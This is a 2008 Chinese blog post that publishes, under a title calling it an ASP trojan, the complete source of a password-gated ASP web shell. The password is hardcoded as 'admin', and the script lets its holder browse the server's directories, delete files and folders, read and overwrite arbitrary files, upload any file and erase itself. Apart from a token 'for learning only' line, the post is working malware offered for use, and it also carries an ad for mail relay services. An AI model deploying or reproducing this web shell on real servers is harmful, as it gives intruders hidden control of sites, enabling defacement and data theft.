首页 | 心情日记 | 建站心得 | 编程技术 | 大盘分析 | 股市信息 | 学习园地 | 电脑技巧 | 物流外贸 | 另类其它 | 站长推荐 | 给我留言 | 相册

用户登陆
用户:
密码:
 
不保存保存一天
保存一月保存一年

站点日历
73 2024 - 3 48
     12
3456789
10111213141516
17181920212223
24252627282930
31


站点统计

最新评论

日志搜索

 标题   内容


ASP自动发送邮件代码 浅海蓝Asp木马
未知 ASP文件管理   [ 日期:2008-01-10 14:11:30 ]   [ 来自:本站原创 ]

海外邮件中继,海外退信中继,美国高速VPS,不限流量VPN,邮局维护和管理,邮件网关,EMOS邮件中继,POSTFIX邮件中继,Winwebmail邮件中继,Winmail邮件中继,DBMail邮件中继,JDMail邮件中继,Exchange邮件中继,MDaemon邮件中继 淘宝店:http://shantan.taobao.com 云邮科技官网:www.yunrelay.com

【字体设置:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> 
<% 
url=Request.ServerVariables("path_info") 
thisfilename=mid(url,instrRev(url,"/")+1) 
pass="admin" '可以修改密码 
if session("passwd")<>pass and request("passwd")<>pass then 
%><center> 
<form action=<%=thisfilename%> method=post>请输入密码: 
<input type=password name=passwd> 
<input type="submit" name="Submit" value="进入"> 
</form></center> 

<%else 
session("passwd")=pass 
%> 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>ASP文件管理</title> 
<style type="text/css"> 
<!-- 
TD { 
font-size: 12px; 

A { 
COLOR: #333333; TEXT-DECORATION: none; margin-top: 0px; 

A:link { 
COLOR: #333333; TEXT-DECORATION: none 

A:visited { 
COLOR: #333333; TEXT-DECORATION: none 

A:active { 
COLOR: #333333; TEXT-DECORATION: none 

A:hover { 
COLOR: #333333; 
TEXT-DECORATION: underline; 

input { 
BORDER: #CCCCCC 1px solid; 
height: 21px; 

body { 
font-size: 14px; 


--> 
</style> 
</head> 
<body> 
<% 
Set fso = Server.CreateObject("Scripting.FileSystemObject") 
path=Trim(Request.QueryString("path")) 
if path="" then path="/" 

action=Trim(Request.QueryString("action")) 
select case action 
case "" 

Set objFolder = fso.GetFolder(server.MapPath(path)) 
%> 
<table width="600" border="0" cellpadding="1" cellspacing="1" bgcolor="#666666"> 
<tr align="center" bgcolor="#ECE9D8"> 
<td>文件名</td> 
<td>文件类型</td> 
<td>大小</td> 
<td width="10%">删除</td> 
<td width="10%">修改</td> 
<td width="10%">下载</td> 
</tr> 
<% 
For Each objItem In objFolder.SubFolders 
If InStr(1, objItem, "_vti", 1) = 0 Then 
%> 

<tr bgcolor="#FFFFCC"> 
<td><font face="Wingdings">1</font> <a href="<%=thisfilename%>?path=<%= path&objItem.name&"/" %>"><%= objItem.Name %></a></td> 
<td>文件夹</td> 
<td align="right"><%= formatnumber(objItem.Size,0) %> 字节</td> 
<td align="center"> <font face="Webdings"><a href="<%=thisfilename%>?action=delfolder&path=<%= path&objItem.name %>">r</a></font></td> 
<td align="center"> </td> 
<td align="center"> </td> 
</tr> 


<% 
End If 
Next 
For Each objItem In objFolder.Files 
%> 


<tr bgcolor="#FFFFFF"> 
<td> <font face="Wingdings" size="4">2</font> <%= objItem.Name %></td> 
<td><%= objItem.Type %></td> 
<td align="right"><%= formatnumber(objItem.Size,0) %> 字节</td> 
<td align="center"><font face="Webdings"><a href="<%=thisfilename%>?action=delfile&path=<%= path&objItem.name %>">r</a></font></td> 
<td align="center"> <font face="Wingdings" size="4"><a href="<%=thisfilename%>?action=edit&path=<%= path %>&fname=<%= objItem.name %>">?</a></font></td> 
<td align="center"><font face="Webdings"><a href="<%= path&objItem.name %>" target="_blank">q</a></font></td> 
</tr> 


<% 
Next 
Set objItem = Nothing 
Set objFolder = Nothing 
%> 

</table> 
<p><a href="<%=thisfilename%>?action=del">自毁</a> 仅供学习用,不要搞破坏啊。<a href="<%=thisfilename%>?action=about">这是谁写的?</a><% if Trim(Request.QueryString("path")) <> "" then Response.Write("<a href="&thisfilename&">返回</a>") %></p> 
<form name="form1" id="form1" enctype="multipart/form-data" method="post" action="<%=thisfilename%>?action=up"> 
<input name="file1" type="file" id="file1" /> 
<input type="submit" name="Submit" value="上传" /> 
<input name="uppath" type="hidden" id="uppath" value="<%= path %>" /> 
</form> 
<% 

case"del" 
call delfile(server.MapPath(thisfilename)) 
Response.Redirect(thisfilename) 
case"delfile" 
call delfile(server.MapPath(path)) 
Response.Redirect(thisfilename) 
case"delfolder" 
call delfolder(server.MapPath(path)) 
Response.Redirect(thisfilename) 
case"up" 
set upload=new upfile_class 
maxsize = 10240000'最大上传大小 
upload.GetData (maxsize) 
if upload.err = true then'false:文件大小超过预定值,就不进行保存,直接跳过 
if upload.file("file1").filesize > 0 then 
path=Trim(upload.Form("uppath")) 
upload.file("file1").savetofile server.MapPath(path&upload.file("file1").filename) 
end if 
end if 
set upload=nothing 
Response.Redirect(""&thisfilename&"?path="&path) 
case"edit" 
read=openfile(server.mappath(Trim(Request.QueryString("path"))&Trim(Request.QueryString("fname")) )) 
%> 
<table width="600" border="0" cellspacing="1" cellpadding="1"> 
<form name="form2" id="form2" method="post" action="<%=thisfilename%>?action=save"> 
<tr> 
<td> 
<textarea name="text" id="text" style="width:600px;height:500px;"><%= server.htmlencode(read) %></textarea> 
</td> 
</tr> 
<tr> 
<td><input type="submit" name="Submit" value="保存" /> 
<input name="fname" type="text" id="fname" value="<%= Trim(Request.QueryString("fname")) %>" /> 
文件名改一下就可以另存了。 
<input name="path" type="hidden" id="path" value="<%= Trim(Request.QueryString("path")) %>" /> 
<a href="<%=thisfilename%>">返回</a></td> 
</tr> 
</form> 
</table> 
<% 
case"save" 
read=Trim(Request.Form("text")) 
path=Trim(Request.Form("path")) 
fname=Trim(Request.Form("fname")) 
call crtfile(server.mappath(path&fname),read) 
Response.Redirect(thisfilename&"?path="&path) 
case"about" 
Response.Write("软件名称:ASP文件管理<br>") 
Response.Write("作者:XXXXXX<br>") 
Response.Write("声明:这个啊,用来玩玩的,不要搞破坏啊。。<br>") 
Response.Write("<a href="&thisfilename&">返回</a>") 
end select 

end if 


'#############################以下部分是函数了,不用看了。###################### 
sub delfile(fpath) 
Set fs = CreateObject("Scripting.FileSystemObject") 
if fs.FileExists(fpath) then 
fs.deletefile(fpath) 
end if 
set fs=nothing 
end sub 
sub crtfile(fpath,str) 
Set fs=CreateObject("Scripting.FileSystemObject") 
Set a=fs.CreateTextFile(fpath,True) 
a.WriteLine(str) 
a.Close 
set fs=nothing 
set a=nothing 
end sub 
sub delfolder(fpath) 
Set fs=Server.CreateObject("Scripting.FileSystemObject") 
if (fs.FolderExists(fpath)) then 
fs.DeleteFolder(fpath) 
end if 
set fs= nothing 
end sub 
function openfile(fname) 
Set fs = createObject("Scripting.FileSystemObject") 
if fs.FileExists(fname) then 
Set b = fs.OpenTextFile(fname) 
read =b.ReadALL 
b.Close 
else 
read = "" 
end if 
set fs=nothing 
set b=nothing 
openfile = read 
end function 
'转发时请保留此声明信息,这段声明不并会影响你的速度! 
'******************* 无惧上传类 V1.2 修正版 ************************************ 
'作者:梁无惧 
'网站:http://www.25cn.com 
'电子邮件:yjlrb@21cn.com 
'版权声明:版权所有,源代码公开,各种用途均可免费使用,但是修改后必须把修改后的文件 
'发送一份给作者.并且保留作者此版权信息 
'********************************************************************** 
'---------------------------------------------------------------------- 
Dim oUpFileStream 
'---------------------------------------------------------------------- 
'文件上传类 
Class UpFile_Class 

Dim Form,File,Version,Err 

Private Sub Class_Initialize 
Version = "无惧上传类 Version V1.2" 
Err = -1 
End Sub 

Private Sub Class_Terminate 
'清除变量及对像 
If Err < 0 Then 
Form.RemoveAll 
Set Form = Nothing 
File.RemoveAll 
Set File = Nothing 
oUpFileStream.Close 
Set oUpFileStream = Nothing 
End If 
End Sub 

Public Sub GetData (MaxSize) 
'定义变量 
Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo 
Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName 
Dim iFindStart,iFindEnd 
Dim iFormStart,iFormEnd,sFormName 
'代码开始 
If Request.TotalBytes < 1 Then '如果没有数据上传 
Err = 1 
Exit Sub 
End If 
If MaxSize > 0 Then '如果限制大小 
If Request.TotalBytes > MaxSize Then 
Err = 2 '如果上传的数据超出限制 
Exit Sub 
End If 
End If 
Set Form = Server.CreateObject ("Scripting.Dictionary") 
Form.CompareMode = 1 
Set File = Server.CreateObject ("Scripting.Dictionary") 
File.CompareMode = 1 
Set tStream = Server.CreateObject ("ADODB.Stream") 
Set oUpFileStream = Server.CreateObject ("ADODB.Stream") 
oUpFileStream.Type = 1 
oUpFileStream.Mode = 3 
oUpFileStream.Open 
oUpFileStream.Write Request.BinaryRead (Request.TotalBytes) 
oUpFileStream.Position = 0 
RequestBinDate = oUpFileStream.Read 
iFormEnd = oUpFileStream.Size 
bCrLf = ChrB (13) & ChrB (10) 
'取得每个项目之间的分隔符 
sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1) 
iStart = LenB (sSpace) 
iFormStart = iStart+2 
'分解项目 
Do 
iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf & bCrLf)+3 
tStream.Type = 1 
tStream.Mode = 3 
tStream.Open 
oUpFileStream.Position = iFormStart 
oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart 
tStream.Position = 0 
tStream.Type = 2 
tStream.CharSet = "gb2312" 
sInfo = tStream.ReadText 
'取得表单项目名称 
iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1 
iFindStart = InStr (22,sInfo,"name=""",1)+6 
iFindEnd = InStr (iFindStart,sInfo,"""",1) 
sFormName = Trim(Mid (sinfo,iFindStart,iFindEnd-iFindStart)) 
'如果是文件 
If InStr (45,sInfo,"filename=""",1) > 0 Then 
Set oFileInfo = new FileInfo_Class 
'取得文件属性 
iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10 
iFindEnd = InStr (iFindStart,sInfo,"""",1) 
sFileName = Trim(Mid(sinfo,iFindStart,iFindEnd-iFindStart)) 
oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1) 
oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\")) 
oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1) 
iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14 
iFindEnd = InStr (iFindStart,sInfo,vbCr) 
oFileInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart) 
oFileInfo.FileStart = iInfoEnd 
oFileInfo.FileSize = iFormStart -iInfoEnd -2 
oFileInfo.FormName = sFormName 
file.add sFormName,oFileInfo 
else 
'如果是表单项目 
tStream.Close 
tStream.Type = 1 
tStream.Mode = 3 
tStream.Open 
oUpFileStream.Position = iInfoEnd 
oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2 
tStream.Position = 0 
tStream.Type = 2 
tStream.CharSet = "gb2312" 
sFormValue = tStream.ReadText 
If Form.Exists (sFormName) Then 
Form (sFormName) = Form (sFormName) & ", " & sFormValue 
else 
form.Add sFormName,sFormValue 
End If 
End If 
tStream.Close 
iFormStart = iFormStart+iStart+2 
'如果到文件尾了就退出 
Loop Until (iFormStart+2) >= iFormEnd 
RequestBinDate = "" 
Set tStream = Nothing 
End Sub 
End Class 

'---------------------------------------------------------------------------------------------------- 
'文件属性类 
Class FileInfo_Class 
Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt 
'保存文件方法 
Public Function SaveToFile (Path) 
On Error Resume Next 
Dim oFileStream 
Set oFileStream = CreateObject ("ADODB.Stream") 
oFileStream.Type = 1 
oFileStream.Mode = 3 
oFileStream.Open 
oUpFileStream.Position = FileStart 
oUpFileStream.CopyTo oFileStream,FileSize 
oFileStream.SaveToFile Path,2 
oFileStream.Close 
Set oFileStream = Nothing 
End Function 

'取得文件数据 
Public Function FileData 
oUpFileStream.Position = FileStart 
FileData = oUpFileStream.Read (FileSize) 
End Function 

End Class 
%> 
</body> 
</html>

暂时没有评论
   发表评论 - 不要忘了输入验证码哦!
作者: 用户:  密码:  我要注册 验证码: 
为防止广告注册机程序,验证码不会自动显示,请点击此处显示或者(刷新)验证码!
评论:

禁止表情
禁止UBB
禁止图片
识别链接
识别关键字
确定发布?
最多可以输入200个字,目前你已经输入了0个字;你今日还可以发表10条评论!
 
   

CopyRight © 2008-2010 广东金融学院030904班 All Rights Reserved
Powered by www.030904.com